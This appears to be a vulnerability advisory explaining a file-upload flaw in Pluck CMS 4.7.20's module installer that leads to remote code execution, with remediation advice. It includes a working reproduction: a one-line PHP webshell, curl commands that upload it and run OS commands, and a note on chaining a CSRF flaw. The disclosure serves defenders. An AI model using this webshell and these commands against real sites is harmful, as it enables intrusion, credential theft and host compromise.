TL;DR
Pluck CMS 4.7.20 lets an authenticated admin upload and run arbitrary PHP through the module installer (CVE-2026-78750). The handler decides a file is a valid module by checking whether its name contains .tar.gz, with no anchor, so webshell.tar.gz.php passes. Worse, it copies the file into the web-accessible data/modules/ directory before it ever validates the archive. The archive check then fails, but the PHP file is already on disk and Apache will execute it. The result is OS command execution as www-data. Block8.ai's Security Research Team rates it CVSS 3.1 of 7.2 (High), CWE-434.
What module installation is meant to do
A CMS that supports modules needs a way to add them. The intended flow is tidy: an admin uploads a packaged module, typically a .tar.gz archive, the system verifies it is a genuine, well-formed archive, and only then unpacks it into place. The validation step is the whole point. It is the bouncer checking that what you handed over is really what you claim it is before letting it into the building.
The trust assumption is that the file is validated as a safe archive before it is allowed to persist anywhere the web server can reach. Get the order wrong, and validation stops being a gate and becomes a postmortem.
Pluck gets both the check and the order wrong.
Where the trust breaks
The module installation handler lives in data/inc/modules_install.php, invoked through admin.php?action=installmodule. It decides whether an uploaded file is acceptable based on its filename, using logic equivalent to:
if (strpos($filename, '.tar.gz')) { ... }
strpos() returns the position of the substring if it is found anywhere in the string, and that position is treated as truthy. There is no check that .tar.gz sits at the end of the name. So webshell.tar.gz.php sails through: the .tar.gz is right there in the middle, the real extension .php goes unnoticed.
That is the first half. The second half is ordering, and it is the part that turns a weak filename check into code execution.
Under the bonnet
The handler calls copy() to write the uploaded file into data/modules/ under the attacker-supplied filename, and it does this before PharData attempts to parse the archive. Because webshell.tar.gz.php is not a real gzip archive, PharData throws an UnexpectedValueException. But by the time that exception fires, copy() has already put the PHP file on disk, in a directory the web server serves, under a .php name Apache is happy to execute.
The validation failure is noise. The damage is done.
The reproduction, as an authenticated admin:
# 1. Build the payload
echo '<?php system($_GET["cmd"]); ?>' > webshell.tar.gz.php
# 2. Upload it through the module installer
curl -b admin_session_cookie \
-H 'Referer: http://target/admin.php' \
-X POST 'http://target/admin.php?action=installmodule' \
-F 'sendfile=@webshell.tar.gz.php;type=application/gzip' \
-F 'submit=Upload'
# 3. Run commands
curl 'http://target/data/modules/webshell.tar.gz.php?cmd=id'
That last request returns uid=33(www-data) gid=33(www-data) groups=33(www-data). The file is live, web-accessible, and executing as the web server user. This is CWE-434, unrestricted upload of a file with a dangerous type, in its most direct form.
Why it matters
The immediate impact is arbitrary OS command execution as www-data. From there an attacker can read application files and secrets, including the stored admin credentials, tamper with site content, and use the foothold to move deeper into the host.
The base score sits at 7.2 High rather than Critical because, on its own, this requires an authenticated administrator: the privilege bar is high. But that bar is lower than it looks. Pluck 4.7.20 also carries a CSRF weakness in requestedByTheSameDomain(), which returns true when the Referer header is absent. Chain the two and the installer can be driven by a forged cross-site request against any logged-in admin who visits a malicious page, lifting the effective impact to unauthenticated RCE through social engineering. That combined chain is tracked separately and rated Critical for exactly this reason.
It is worth noting the lineage. CVE-2023-50564 covered a ZIP-based upload through the same endpoint in Pluck 4.7.18, a different bypass technique against the same feature. The module installer has a history of trusting what it is handed.
How to fix it
- Anchor the extension check to the end of the filename and match it strictly. Reject anything that is not exactly a
.tar.gz; a substring test is not validation. - Validate the archive before writing it anywhere persistent. Inspect the uploaded content in a temporary, non-executable location, confirm it is a well-formed archive, and only then move it into place.
- Never store uploads under attacker-supplied names in a directory the web server will execute. Generate safe internal names and strip or reject executable extensions.
- Disable PHP execution in the module and upload directories at the server level as defence in depth, so a stray
.phpfile cannot run even if it slips through. - Fix the related CSRF weakness, which is what turns this from an admin-only risk into a remotely triggerable one.
Until a fixed release is available, operators should restrict access to the admin panel and avoid leaving admin sessions open while browsing untrusted pages.
Closing
Validation only protects you if it runs before the thing it is validating can do any harm. Here the installer wrote the file, then asked whether the file was safe, and the answer arrived far too late to matter. Add a filename check that trusts a substring in the middle of the name, and you have a module installer that will cheerfully run whatever you call a module. The Block8.ai Security Research Team found this during authorised research into Pluck CMS. Check first, write second, and never let the attacker choose both the name and the folder.